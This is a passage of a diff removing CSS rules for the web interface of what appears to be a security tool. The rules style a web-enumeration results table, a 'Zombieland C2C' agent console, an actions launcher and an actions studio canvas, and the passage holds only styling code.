background: var(--ok); - color: var(--ink-invert); -} - -.webenum-container .status-3xx { - background: var(--warning); - color: var(--ink-invert); -} - -.webenum-container .status-4xx { - background: var(--danger); - color: var(--ink); -} - -.webenum-container .status-5xx { - background: color-mix(in oklab, var(--danger) 65%, var(--lvl-crit-bg) 35%); - color: var(--ink); -} - -.webenum-container .status-unknown { - background: var(--muted-off); - color: var(--ink); -} - -.webenum-container .pagination { - display: flex; - justify-content: center; - align-items: center; - gap: 8px; - padding: 10px; - background: var(--c-panel); - border-top: 1px dashed var(--c-border); -} - -.webenum-container .page-btn { - display: inline-flex; - align-items: center; - justify-content: center; - padding: 8px 10px; - border-radius: var(--control-r); - background: var(--c-btn); - border: 1px solid var(--c-border-strong); - color: var(--ink); - cursor: pointer; - box-shadow: var(--shadow); - transition: .18s; -} - -.webenum-container .page-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.webenum-container .page-btn.active { - outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); -} - -.webenum-container .page-btn:disabled { - opacity: .5; - cursor: not-allowed; -} - -.webenum-container .btn-primary { - background: linear-gradient(180deg, color-mix(in oklab, var(--acid) 28%, var(--c-btn)), var(--c-btn)); - border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); - color: var(--ink); -} - -.webenum-container .webenum-modal-backdrop { - display: none; - position: fixed; - inset: 0; - background: rgba(0, 0, 0, 0.85); - backdrop-filter: blur(4px); - z-index: 9999; - align-items: center; - justify-content: center; - animation: we-fadeIn 0.2s ease; -} - -.webenum-container .webenum-modal-backdrop.show { - display: flex; -} - -.webenum-container .webenum-modal-content { - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - box-shadow: 0 8px 32px rgba(0, 0, 0, 0.5); - width: min(720px, 96vw); - max-height: 86vh; - overflow: auto; - padding: 24px; - position: relative; - animation: we-slideUp 0.3s ease; -} - -.webenum-container .webenum-modal-content h2 { - margin: 0 0 16px; - color: var(--acid); - font-size: 1.5rem; -} - -.webenum-container .webenum-close { - position: absolute; - top: 16px; - right: 16px; - color: var(--muted); - font-size: 28px; - font-weight: 700; - cursor: pointer; - line-height: 1; - transition: .2s; - background: var(--c-btn); - border: 1px solid var(--c-border); - border-radius: 8px; - width: 32px; - height: 32px; - display: flex; - align-items: center; - justify-content: center; -} - -.webenum-container .webenum-close:hover { - color: var(--acid); - transform: rotate(90deg); -} - -@keyframes we-fadeIn { - from { - opacity: 0; - } - - to { - opacity: 1; - } -} - -@keyframes we-slideUp { - from { - transform: translateY(20px); - opacity: 0; - } - - to { - transform: translateY(0); - opacity: 1; - } -} - -@media (max-width:768px) { - .webenum-container .container { - padding: 10px; - } - - .webenum-container .results-header { - flex-direction: column; - gap: 8px; - text-align: center; - } - - .webenum-container th, - .webenum-container td { - padding: 8px 6px; - } -} - -@media (max-width:480px) { - - .webenum-container th, - .webenum-container td { - padding: 6px 4px; - font-size: .85rem; - } - - .webenum-container .status { - font-size: .75rem; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - ZOMBIELAND C2C (.zombieland-container) - ═══════════════════════════════════════════════════════════════════════ */ -.zombieland-container .panel { - background: var(--panel); - border: 1px solid var(--c-border); - border-radius: var(--radius); - box-shadow: var(--shadow); -} - -.zombieland-container .btn-icon { - padding: 8px; - min-width: 36px; - display: inline-flex; - align-items: center; - justify-content: center; -} - -.zombieland-container .btn-primary { - background: linear-gradient(180deg, color-mix(in oklab, var(--accent) 22%, var(--btn-bg-solid)), var(--btn-bg-solid)); - border-color: color-mix(in oklab, var(--accent) 55%, var(--border)); -} - -.zombieland-container .btn-danger { - background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 20%, var(--btn-bg-solid)), var(--btn-bg-solid)); - border-color: color-mix(in oklab, var(--danger) 55%, var(--border)); -} - -.zombieland-container .pill { - background: var(--c-pill-bg); - border: 1px solid var(--c-border); - color: var(--muted); -} - -.zombieland-container .pill.online { - border-color: color-mix(in oklab, var(--ok) 60%, transparent); - color: var(--ok); -} - -.zombieland-container .pill.offline { - border-color: color-mix(in oklab, var(--danger) 60%, transparent); - color: var(--danger); -} - -.zombieland-container .pill.idle { - border-color: color-mix(in oklab, var(--warning) 60%, transparent); - color: var(--warning); -} - -.zombieland-container .term { - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 10px; -} - -.zombieland-container .console-output { - height: 400px; - overflow-y: auto; - padding: 12px; - font: var(--font-mono); - background: var(--grad-console); - border-radius: 8px; -} - -.zombieland-container .console-line { - margin: 4px 0; - display: flex; - align-items: flex-start; - gap: 8px; - font: var(--font-mono); -} - -.zombieland-container .console-time { - color: var(--muted); - font-size: 11px; -} - -.zombieland-container .console-type { - padding: 2px 6px; - border-radius: 999px; - font-size: 11px; - font-weight: 700; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); -} - -.zombieland-container .console-type.tx { - background: var(--switch-on-bg); - color: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.zombieland-container .console-type.rx { - background: color-mix(in oklab, var(--accent-2) 18%, var(--c-panel)); - color: var(--accent-2); - border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); -} - -.zombieland-container .console-content { - flex: 1; - word-break: break-word; -} - -.zombieland-container .console-content pre { - margin: 0; - white-space: pre-wrap; -} - -.zombieland-container .agent-card { - transition: transform .16s ease, box-shadow .16s ease, border-color .16s ease; - cursor: pointer; - position: relative; - border: 1px solid var(--c-border); - border-radius: var(--radius); - background: var(--grad-card); - box-shadow: var(--shadow); -} - -.zombieland-container .agent-card:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.zombieland-container .agent-card.selected { - border-color: color-mix(in oklab, var(--accent) 55%, transparent); - background: var(--grad-chip-selected); -} - -.zombieland-container .os-icon { - width: 24px; - height: 24px; -} - -.zombieland-container .toast.info { - border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); -} - -.zombieland-container .toast.success { - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.zombieland-container .toast.error { - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.zombieland-container .toast.warning { - border-color: color-mix(in oklab, var(--warning) 60%, transparent); -} - -.zombieland-container .quick-cmd { - padding: 6px 12px; - background: var(--c-panel); - border: 1px dashed var(--c-border); - border-radius: 8px; - font-size: 12px; - cursor: pointer; -} - -.zombieland-container .quick-cmd:hover { - box-shadow: 0 0 0 1px var(--c-border) inset, 0 8px 22px var(--glow-weak); -} - -.zombieland-container .metric { - text-align: center; -} - -.zombieland-container .metric-value { - font-size: 32px; - font-weight: 800; - color: var(--acid); -} - -.zombieland-container .metric-label { - font-size: 12px; - color: var(--muted); - margin-top: 4px; -} - -.zombieland-container .file-item { - padding: 8px; - display: flex; - align-items: center; - gap: 8px; - cursor: pointer; - border-radius: 10px; -} - -.zombieland-container .file-item:hover { - background: var(--c-panel); -} - -.zombieland-container .file-item.directory { - color: var(--accent-2); -} - -.zombieland-container .modal_zombie { - background: var(--grad-modal); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - box-shadow: 0 40px 120px var(--glow-strong), inset 0 0 0 1px var(--glow-strong); -} - -.zombieland-container .modal-content { - background: transparent; - border: none; - border-radius: 12px; - padding: 24px; - max-width: 720px; - width: 90%; - max-height: 80vh; - overflow-y: auto; -} - -@keyframes zl-pulseGreen { - 0% { - box-shadow: 0 0 0 0 var(--glow-strong); - } - - 70% { - box-shadow: 0 0 0 12px rgba(0, 0, 0, 0); - } - - 100% { - box-shadow: 0 0 0 0 rgba(0, 0, 0, 0); - } -} - -.zombieland-container .agent-card.pulse { - animation: zl-pulseGreen 1s ease; -} - -.zombieland-container .agent-stale-yellow { - border-color: color-mix(in oklab, var(--warning) 75%, transparent) !important; -} - -.zombieland-container .agent-stale-orange { - border-color: color-mix(in oklab, var(--warning) 95%, var(--danger) 10%); -} - -.zombieland-container .agent-stale-red { - border-color: var(--danger) !important; -} - -.zombieland-container .ecg { - position: relative; - width: 100%; - height: 42px; - overflow: hidden; - margin-top: 8px; - background: linear-gradient(transparent 23px, rgba(255, 255, 255, .04) 23px, transparent 24px); -} - -.zombieland-container .ecg-wrapper { - position: absolute; - top: 0; - left: 0; - height: 100%; - width: 600px; - display: flex; - will-change: transform; - animation: zl-ecgScroll linear infinite; -} - -@keyframes zl-ecgScroll { - from { - transform: translateX(0); - } - - to { - transform: translateX(-200px); - } -} - -.zombieland-container .ecg svg { - width: 200px; - height: 100%; - flex-shrink: 0; -} - -.zombieland-container .ecg path { - fill: none; - stroke: currentColor; - stroke-width: 2; - stroke-linecap: round; - stroke-linejoin: round; - filter: drop-shadow(0 0 2px currentColor) drop-shadow(0 0 6px currentColor); - shape-rendering: geometricPrecision; -} - -.zombieland-container .ecg.green { - color: var(--ok); -} - -.zombieland-container .ecg.yellow { - color: var(--warning); -} - -.zombieland-container .ecg.orange { - color: color-mix(in oklab, var(--warning) 70%, var(--danger) 20%); -} - -.zombieland-container .ecg.red { - color: var(--danger); -} - -.zombieland-container .ecg.flat .ecg-wrapper { - animation: none; -} - -.zombieland-container .ecg:not(.flat)::after { - content: ""; - position: absolute; - inset: 0; - background: linear-gradient(0deg, transparent, rgba(255, 255, 255, .03), transparent); - animation: zl-ecgFlicker 2.3s ease-in-out infinite alternate; - pointer-events: none; -} - -@keyframes zl-ecgFlicker { - from { - opacity: .2; - transform: translateY(0); - } - - to { - opacity: .35; - transform: translateY(-0.5px); - } -} - -.zombieland-container .console-line:has(.console-type.tx) .console-content { - color: var(--ok); -} - -.zombieland-container .console-line:has(.console-type.rx) .console-content { - color: var(--accent-2); -} - -.zombieland-container .console-output { - background: var(--grad-console); - border: 1px solid var(--c-border-strong); -} - -.zombieland-container .toolbar { - flex-wrap: wrap; - gap: 8px; -} - -.zombieland-container .quickbar { - overflow-x: auto; - -webkit-overflow-scrolling: touch; - scrollbar-width: thin; - padding-bottom: 4px; -} - -.zombieland-container .term-controls { - flex-wrap: wrap; -} - -.zombieland-container .term-controls .input, -.zombieland-container .term-controls .select { - min-width: 140px; -} - -@media (max-width: 768px) { - .zombieland-container .stats-grid { - grid-template-columns: 1fr !important; - } - - .zombieland-container .term-controls { - gap: 8px; - } - - .zombieland-container .term-controls .input { - flex: 1 1 100%; - } - - .zombieland-container .term-controls .select { - flex: 1 1 45%; - } - - .zombieland-container .term-controls .btn { - flex: 1 1 45%; - } -} - -.zombieland-container .console-type.info { - background: color-mix(in oklab, var(--accent-2) 14%, var(--c-panel)); - color: var(--accent-2); - border-color: color-mix(in oklab, var(--accent-2) 60%, transparent); -} - -.zombieland-container .console-type.warning { - background: color-mix(in oklab, var(--warning) 12%, var(--c-panel)); - color: var(--warning); - border-color: color-mix(in oklab, var(--warning) 60%, transparent); -} - -.zombieland-container .console-type.error { - background: color-mix(in oklab, var(--danger) 12%, var(--c-panel)); - color: var(--danger); - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.zombieland-container .console-type.success { - background: color-mix(in oklab, var(--ok) 12%, var(--c-panel)); - color: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.zombieland-container .console-line:has(.console-type.info) .console-content { - color: var(--accent-2); -} - -.zombieland-container .console-line:has(.console-type.warning) .console-content { - color: var(--warning); -} - -.zombieland-container .console-line:has(.console-type.error) .console-content { - color: var(--danger); -} - -.zombieland-container .console-line:has(.console-type.success) .console-content { - color: var(--ok); -} - -.zombieland-container #logsOutput { - background: var(--grad-console) !important; - border: 1px solid var(--c-border-strong); - border-radius: 10px; - color: var(--ink); - padding: 12px; -} - -.zombieland-container #logsOutput .log-line { - display: flex; - align-items: flex-start; - gap: 8px; - font: var(--font-mono); - margin: 4px 0; -} - -.zombieland-container #logsOutput .log-time { - color: var(--muted); - font-size: 11px; -} - -.zombieland-container #logsOutput .log-text { - flex: 1; - word-break: break-word; -} - -.zombieland-container #logsOutput .console-type { - padding: 2px 6px; - border-radius: 999px; - font-size: 11px; - font-weight: 700; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); -} - -.zombieland-container .stats-grid { - gap: 8px !important; - margin-bottom: 14px; -} - -.zombieland-container .stats-grid .panel { - padding: 10px 12px; -} - -.zombieland-container .stats-grid .metric-value { - font-size: 22px; -} - -.zombieland-container .stats-grid .metric-label { - font-size: 11px; - margin-top: 2px; -} - -@media (max-width:768px) { - .zombieland-container .stats-grid { - gap: 8px !important; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - ACTIONS LAUNCHER (.actions-container) - ═══════════════════════════════════════════════════════════════════════ */ -.actions-container #actionsLauncher { - min-height: 0; - height: 100%; - display: grid; - grid-template-columns: 1fr; - gap: var(--gap-3, 10px); -} - -.actions-container .panel { - background: var(--grad-card, var(--c-panel)); - border: 1px solid var(--c-border); - border-radius: var(--radius, 14px); - box-shadow: var(--elev, 0 10px 30px var(--acid-1a, #00ff9a1a), inset 0 0 0 1px var(--acid-22, #00ff9a22)); - overflow: clip; -} - -.actions-container .sideheader { - padding: 10px 10px 6px; - border-bottom: 1px dashed var(--c-border); -} - -.actions-container .al-side-meta { - display: flex; - align-items: center; - justify-content: space-between; - gap: 8px; - margin-bottom: 8px; -} - -.actions-container .al-side-meta .sidetitle { - color: var(--acid); - font-weight: 800; - letter-spacing: .05em; -} - -.actions-container .tabs-container { - display: flex; - gap: 8px; - flex-wrap: wrap; -} - -.actions-container .tab-btn { - all: unset; - cursor: pointer; - padding: 6px 10px; - border-radius: 10px; - background: var(--c-pill-bg); - border: 1px solid var(--c-border); - color: var(--muted); -} - -.actions-container .tab-btn.active { - background: var(--grad-chip-selected); - outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); - outline-offset: 0; -} - -.actions-container .al-search { - display: flex; - gap: 10px; - padding: 10px; -} - -.actions-container .al-input { - flex: 1; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - padding: 10px 12px; - border-radius: var(--control-r, 10px); - font: inherit; -} - -.actions-container .al-input:focus { - outline: none; - box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; -} - -.actions-container .sidecontent { - padding: 8px; - overflow: auto; -} - -.actions-container .al-list { - display: flex; - flex-direction: column; - gap: 10px; - padding-right: 4px; -} - -.actions-container .al-row { - position: relative; - display: grid; - grid-template-columns: 84px 1fr; - gap: 12px; - padding: 10px; - background: var(--c-panel-2); - border-radius: 12px; - cursor: pointer; - transition: transform .15s ease, border-color .15s ease, box-shadow .15s ease; -} - -.actions-container .al-row:hover { - transform: translateY(-1px); - border-color: color-mix(in oklab, var(--accent) 25%, var(--c-border)); - box-shadow: 0 10px 26px var(--glow-weak); -} - -.actions-container .al-row.selected { - outline: 2px solid color-mix(in oklab, var(--acid) 35%, transparent); - box-shadow: 0 12px 30px color-mix(in oklab, var(--acid) 25%, transparent); -} - -.actions-container .al-row .ic { - width: 84px; - height: 84px; - display: grid; - place-items: center; - border-radius: 12px; - background: var(--c-panel); - overflow: hidden; -} - -.actions-container .ic-img { - width: 70px; - height: 70px; - object-fit: cover; - display: block; -} - -.actions-container .al-row>div:nth-child(2) { - min-width: 0; - display: flex; - flex-direction: column; - gap: 4px; -} - -.actions-container .name { - font-weight: 800; - color: var(--acid-2); - font-size: 14px; - line-height: 1.2; -} - -.actions-container .desc { - color: var(--muted); - font-size: 13px; - line-height: 1.25; -} - -.actions-container .al-row .chip { - position: absolute; - top: 6px; - left: calc(84px/2 + 10px); - transform: translateX(-50%); - padding: 2px 8px; - border-radius: 999px; - border: 1px solid var(--c-border); - background: var(--c-chip-bg); - color: var(--muted); - font-size: 11px; - line-height: 1; - pointer-events: none; -} - -.actions-container .chip.ok { - color: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); -} - -.actions-container .chip.err { - color: var(--danger); - border-color: color-mix(in oklab, var(--danger) 60%, transparent); -} - -.actions-container .chip.run { - color: var(--acid); - border-color: color-mix(in oklab, var(--acid) 60%, transparent); -} - -.actions-container .center { - display: flex; - flex-direction: column; - min-height: 0; - height: 100%; -} - -.actions-container .toolbar2 { - display: flex; - align-items: center; - gap: 10px; - padding: 10px; - border-bottom: 1px solid var(--c-border); - background: var(--c-panel); - flex-wrap: wrap; -} - -.actions-container .seg { - display: flex; - border-radius: 10px; - overflow: hidden; - border: 1px solid var(--c-border); -} - -.actions-container .seg button { - background: var(--c-panel); - color: var(--muted); - padding: 8px 10px; - border: none; - border-right: 1px solid var(--c-border); - cursor: pointer; - font: inherit; -} - -.actions-container .seg button:last-child { - border-right: none; -} - -.actions-container .seg button.active { - color: var(--ink-invert); - background: linear-gradient(90deg, var(--acid-2), color-mix(in oklab, var(--acid-2) 60%, white)); -} - -.actions-container .al-btn { - background: var(--c-btn); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r, 10px); - padding: 8px 12px; - display: inline-flex; - align-items: center; - gap: 8px; - cursor: pointer; - transition: .18s; - box-shadow: var(--elev); - font: inherit; -} - -.actions-container .al-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.actions-container .al-btn.warn { - background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 28%, var(--c-btn)), var(--c-btn)); - color: var(--warning); - border-color: color-mix(in oklab, var(--warning) 55%, var(--c-border)); -} - -.actions-container .multiConsole { - flex: 1; - padding: 10px; - display: grid; - gap: 10px; - height: 100%; - grid-auto-flow: row; - grid-auto-rows: 1fr; - grid-template-rows: repeat(var(--rows, 1), 1fr); -} - -.actions-container .split-1 { - grid-template-columns: 1fr; -} - -.actions-container .split-2 { - grid-template-columns: 1fr 1fr; -} - -.actions-container .split-3 { - grid-template-columns: 1fr 1fr 1fr; -} - -.actions-container .split-4 { - grid-template-columns: 1fr 1fr; -} - -.actions-container .pane { - position: relative; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-console); - display: flex; - flex-direction: column; - box-shadow: inset 0 0 0 1px var(--c-border-muted); -} - -.actions-container .paneHeader { - display: grid; - grid-template-columns: 1fr auto; - align-items: center; - gap: 10px; - padding: 8px 10px; - border-bottom: 1px solid var(--c-border); - background: linear-gradient(180deg, color-mix(in oklab, var(--acid-2) 8%, transparent), transparent); -} - -.actions-container .paneTitle { - display: grid; - grid-template-columns: auto auto 1fr; - align-items: center; - gap: 10px; - min-width: 0; -} - -.actions-container .paneTitle .dot { - width: 8px; - height: 8px; - border-radius: 50%; - flex: 0 0 auto; -} - -.actions-container .paneIcon { - width: 70px; - height: 70px; - border-radius: 6px; - object-fit: cover; - opacity: .95; -} - -.actions-container .titleBlock { - display: flex; - flex-direction: column; - gap: 4px; - min-width: 0; -} - -.actions-container .titleLine strong { - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.actions-container .metaLine { - display: flex; - flex-wrap: wrap; - gap: 6px; -} - -.actions-container .metaLine .chip { - border: 1px solid var(--c-border-strong); - background: var(--c-chip-bg); - color: var(--muted); - padding: 3px 8px; - border-radius: 999px; -} - -.actions-container .paneBtns { - display: flex; - flex-wrap: wrap; - gap: 8px; - justify-content: flex-end; -} - -.actions-container .paneBtns .al-btn { - padding: 6px 8px; - font-size: .9rem; -} - -.actions-container .paneLog { - flex: 1; - overflow: auto; - padding: 6px 8px; - font-family: ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace; - font-size: .92rem; -} - -.actions-container .logline { - white-space: pre-wrap; - word-break: break-word; - padding: 4px 6px; - line-height: 1.32; - color: var(--ink); -} - -.actions-container .logline.info { - color: #bfefff; -} - -.actions-container .logline.ok { - color: #9ff7c5; -} - -.actions-container .logline.warn { - color: #ffd27a; -} - -.actions-container .logline.err { - color: #ff99b3; -} - -.actions-container .logline.dim { - color: #6a8596; -} - -.actions-container .paneHighlight { - box-shadow: 0 0 0 2px var(--acid-2), 0 0 24px color-mix(in oklab, var(--acid-2) 55%, transparent) inset, 0 0 40px color-mix(in oklab, var(--acid-2) 35%, transparent); - animation: al-hi 900ms ease-out 1; -} - -@keyframes al-hi { - 0% { - transform: scale(1); - } - - 50% { - transform: scale(1.01); - } - - 100% { - transform: scale(1); - } -} - -.actions-container .section { - padding: 12px; - border-bottom: 1px dashed var(--c-border); -} - -.actions-container .h { - font-weight: 800; - letter-spacing: .5px; - color: var(--acid-2); -} - -.actions-container .sub { - color: var(--muted); - font-size: .9rem; -} - -.actions-container .builder { - padding: 12px; - display: grid; - gap: 12px; -} - -.actions-container .field { - display: grid; - gap: 6px; -} - -.actions-container .label { - font-size: .85rem; - color: var(--muted); -} - -.actions-container .ctl, -.actions-container .select, -.actions-container .range { - background: var(--c-panel); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r, 10px); - padding: 10px 12px; - font: inherit; -} - -.actions-container .ctl:focus, -.actions-container .select:focus { - outline: none; - box-shadow: 0 0 0 2px color-mix(in oklab, var(--acid) 55%, transparent) inset; -} - -.actions-container .chips { - display: flex; - gap: 8px; - flex-wrap: wrap; - padding: 10px; -} - -.actions-container .chip2 { - padding: 6px 10px; - border-radius: 999px; - background: var(--c-chip-bg); - border: 1px solid var(--c-border-hi); - cursor: pointer; - transition: .18s; -} - -.actions-container .chip2:hover { - box-shadow: 0 0 0 1px var(--c-border-hi) inset, 0 8px 22px var(--glow-weak); -} - -@media (max-width: 860px) { - .actions-container #actionsLauncher { - grid-template-columns: 1fr; - } - - .actions-container .toolbar2 { - display: none !important; - } - - .actions-container .paneHeader { - grid-template-columns: 1fr; - row-gap: 8px; - } - - .actions-container .paneBtns { - justify-content: flex-start; - } - - .actions-container .paneBtns .al-btn { - padding: 5px 6px; - font-size: .85rem; - } -} - -/* ═══════════════════════════════════════════════════════════════════════ - ACTIONS STUDIO (.studio-container) - ═══════════════════════════════════════════════════════════════════════ */ -.studio-container { - --st-bg: #060c12; - --st-panel: #0a1520; - --st-card: #0b1c2a; - --st-card2: #0d2132; - --st-text: #e9f3ff; - --st-muted: #9fb4c9; - --st-border: #203448; - --st-neon: #66ffd1; - --st-neon2: #57c9ff; - --st-ok: #30db98; - --st-bad: #ff6b7c; - --st-warn: #ffd166; - --st-edge: #2a557a; - --st-global: #7040ff; - --st-host: #25be7b; - --st-tap: 44px; - --studio-header-h: 52px; - background: var(--st-bg); - color: var(--st-text); - font: 14px/1.35 Inter, system-ui, -apple-system, Segoe UI, Roboto, sans-serif; - overflow: hidden; - height: 100%; -} - -.studio-container #app { - display: grid; - grid-template-rows: auto 1fr auto; - height: 100%; -} - -.studio-container header { - display: flex; - align-items: center; - gap: .5rem; - padding: .6rem .8rem; - min-height: var(--studio-header-h); - background: color-mix(in oklab, var(--st-panel) 95%, #050b12 5%); - border-bottom: 1px solid var(--st-border); - backdrop-filter: blur(8px); - z-index: 20; -} - -.studio-container .logo { - width: 22px; - height: 22px; - border-radius: 6px; - background: conic-gradient(from 210deg, var(--st-neon), var(--st-neon2)); - box-shadow: 0 0 32px rgba(90, 255, 200, .22); -} - -.studio-container h1 { - font-size: 15px; - letter-spacing: .3px; -} - -.studio-container .sp { - flex: 1; -} - -.studio-container .btn { - display: inline-flex; - align-items: center; - justify-content: center; - gap: .45rem; - padding: .48rem .7rem; - border-radius: 12px; - background: #0c2132; - border: 1px solid var(--st-border); - color: var(--st-text); - cursor: pointer; - font-size: 13px; - transition: all .2s; - min-height: var(--st-tap); -} - -.studio-container .btn:hover { - transform: translateY(-1px); - background: #0e2437; -} - -.studio-container .btn:active { - transform: scale(.98); -} - -.studio-container .btn.primary { - background: linear-gradient(180deg, #0e2f25, #0b241d); - border-color: #1d5a45; - color: var(--st-neon); -} - -.studio-container .btn.icon { - width: var(--st-tap); - padding: 0; -} - -.studio-container main { - display: grid; - grid-template-columns: 320px 1fr 360px; - gap: 8px; - padding: 8px; - min-height: 0; - height: 100%; -} - -.studio-container .studio-side-backdrop { - display: none; - position: fixed; - inset: var(--h-topbar, 56px) 0 var(--h-bottombar, 56px) 0; - z-index: 2150; - border: 0; - margin: 0; - padding: 0; - background: rgba(0, 0, 0, .52); -} - -@media (max-width:1100px) { - .studio-container { - --studio-header-h: 46px; - } - - .studio-container header { - min-height: var(--studio-header-h); - padding: 6px 8px; - gap: 6px; - position: relative; - z-index: 2300; - } - - .studio-container h1 { - font-size: 14px; - max-width: 34vw; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - } - - .studio-container .logo { - width: 18px; - height: 18px; - } - - .studio-container main { - grid-template-columns: 1fr; - grid-template-rows: 1fr auto; - gap: 8px; - height: auto; - } - - .studio-container #left, - .studio-container #right { - position: fixed; - z-index: 2200; - top: var(--h-topbar, 56px); - bottom: var(--h-bottombar, 56px); - width: min(90vw, 420px); - max-width: 420px; - transition: transform .25s ease, opacity .25s; - opacity: .98; - } - - .studio-container #left { - left: 0; - transform: translateX(-120%); - } - - .studio-container #left.open { - transform: translateX(0); - } - - .studio-container #right { - right: 0; - transform: translateX(120%); - } - - .studio-container #right.open { - transform: translateX(0); - } - - .studio-container #btnPal, - .studio-container #btnIns { - position: fixed; - top: auto; - bottom: calc(var(--h-bottombar, 56px) + 14px); - z-index: 82; - width: 38px; - height: 38px; - min-width: 38px; - min-height: 38px; - padding: 0; - border-radius: 999px; - border: 1px solid var(--c-border-strong); - background: color-mix(in oklab, var(--c-panel) 94%, transparent); - color: var(--ink); - box-shadow: 0 6px 16px rgba(0, 0, 0, .28); - opacity: .88; - } - - .studio-container #btnPal { - left: 10px; - } - - .studio-container #btnIns { - right: 10px; - } - - .studio-container #btnPal:hover, - .studio-container #btnIns:hover { - opacity: 1; - transform: translateY(-1px); - } - - .studio-container #btnPal, - .studio-container #btnIns, - .studio-container #btnAutoLayout, - .studio-container #btnRepel, - .studio-container #btnHelp, - .studio-container #btnApply { - display: none; - } - - .studio-mobile-dock { - display: flex; - } - - .studio-container footer { - display: none; - } - - .studio-toast { - bottom: calc(var(--h-bottombar, 56px) + 104px); - } - - .studio-container .studio-side-backdrop.show { - display: block; - } -} - -.studio-container #left { - background: var(--st-panel); - border: 1px solid var(--st-border); - border-radius: 12px; - display: flex; - flex-direction: column; - min-height: 0; - overflow: hidden; -} - -.studio-container .tabs { - display: flex; - gap: 4px; - padding: 8px; - border-bottom: 1px solid var(--st-border); -} - -.studio-container .tab { - padding: 6px 12px; - border-radius: 10px; - background: var(--st-card); - border: 1px solid transparent; - cursor: pointer; - font-size: 13px; -} - -.studio-container .tab.active { - background: var(--st-card2); - border-color: var(--st-neon2); - color: var(--st-neon2); -} - -.studio-container .tab-content { - flex: 1; - padding: 10px; - overflow: auto; - display: none; -} - -.studio-container .tab-content.active { - display: block; -} - -.studio-container h2 { - margin: .2rem 0 .6rem; - font-size: 12px; - color: var(--st-muted); - letter-spacing: .2px; - text-transform: uppercase; -} - -.studio-container .search-row { - position: relative; - margin-bottom: 10px; -} - -.studio-container input.search { - width: 100%; - background: #0a1f2e; - color: var(--st-text); - border: 1px solid var(--st-border); - border-radius: 12px; - padding: .6rem 2.1rem .6rem .7rem; - margin-bottom: 0; - font-size: 14px; -} - -.studio-container .search-clear { - position: absolute; - right: 6px; - top: 50%; - transform: translateY(-50%); - width: 26px; - height: 26px; - border-radius: 999px; - border: 1px solid var(--st-border); - background: #0f2536; - color: var(--st-muted); - cursor: pointer; - display: none; -} - -.studio-container .search-clear.show { - display: inline-flex; - align-items: center; - justify-content: center; -} - -.studio-container .search-clear:hover { - color: var(--st-text); - border-color: color-mix(in oklab, var(--st-neon2) 45%, var(--st-border)); -} - -.studio-container .palette-meta { - display: flex; - gap: 6px; - flex-wrap: wrap; - margin-bottom: 10px; -} - -.studio-container .palette-meta .pill { - font-size: 10px; - padding: .2rem .48rem; -} - -.studio-container .pitem { - border: 1px solid var(--st-border); - background: #0a1b2a; - border-radius: 12px; - padding: 10px; - display: flex; - justify-content: space-between; - gap: 8px; - align-items: center; - user-select: none; - margin-bottom: 6px; - cursor: grab; - transition: all .2s; -} - -.studio-container .pitem:active { - cursor: grabbing; -} - -.studio-container .pitem:hover { - transform: translateX(2px); - background: #0c1e2d; -} - -.studio-container .pitem.placed { - opacity: .55; -} - -.studio-container .pmeta { - font-size: 12px; - color: var(--st-muted); -} - -.studio-container .padd { - border: 1px solid var(--st-border); - background: #0b2437; - border-radius: 10px; - padding: .35rem .6rem; - font-size: 12px; - cursor: pointer; -} - -.studio-container .padd:hover { - background: var(--st-neon2); - color: var(--st-bg); - transform: scale(1.05); -} - -.studio-container .action-icon { - width: 24px; - height: 24px; - border-radius: 6px; - margin-right: 8px; - object-fit: cover; -} - -.studio-container .host-card { - border: 1px solid var(--st-border); - background: linear-gradient(135deg, #0b1e2c, #0a1b2a); - border-radius: 12px; - padding: 10px; - margin-bottom: 6px; - cursor: grab; -} - -.studio-container .host-card:active { - cursor: grabbing; -} - -.studio-container .host-card.simulated { - border-color: var(--st-neon2); - background: linear-gradient(135deg, #0b2233, #0a1f2e); -} - -.studio-container .host-card .row { - display: flex; - gap: 6px; - flex-wrap: wrap; - align-items: center; - font-size: 12px; - margin-top: 4px; -} - -.studio-container .host-card .row .btn { - padding: .25rem .5rem; - font-size: 11px; -} - -.studio-container #center { - position: relative; - border: 1px solid var(--st-border); - border-radius: 12px; - background: radial-gradient(1200px 800px at 0% 0%, #0a1827 0%, #060c12 60%), #060c12; - overflow: hidden; - touch-action: none; -} - -.studio-container #bggrid { - position: absolute; - inset: 0; - background-image: linear-gradient(#0f2b3f 1px, transparent 1px), linear-gradient(90deg, #0f2b3f 1px, transparent 1px); - background-size: 40px 40px; - opacity: .18; - pointer-events: none; -} - -.studio-container #canvas { - position: absolute; - left: 0; - top: 0; - transform-origin: 0 0; -} - -.studio-container #nodes { - position: absolute; - left: 0; - top: 0; - width: 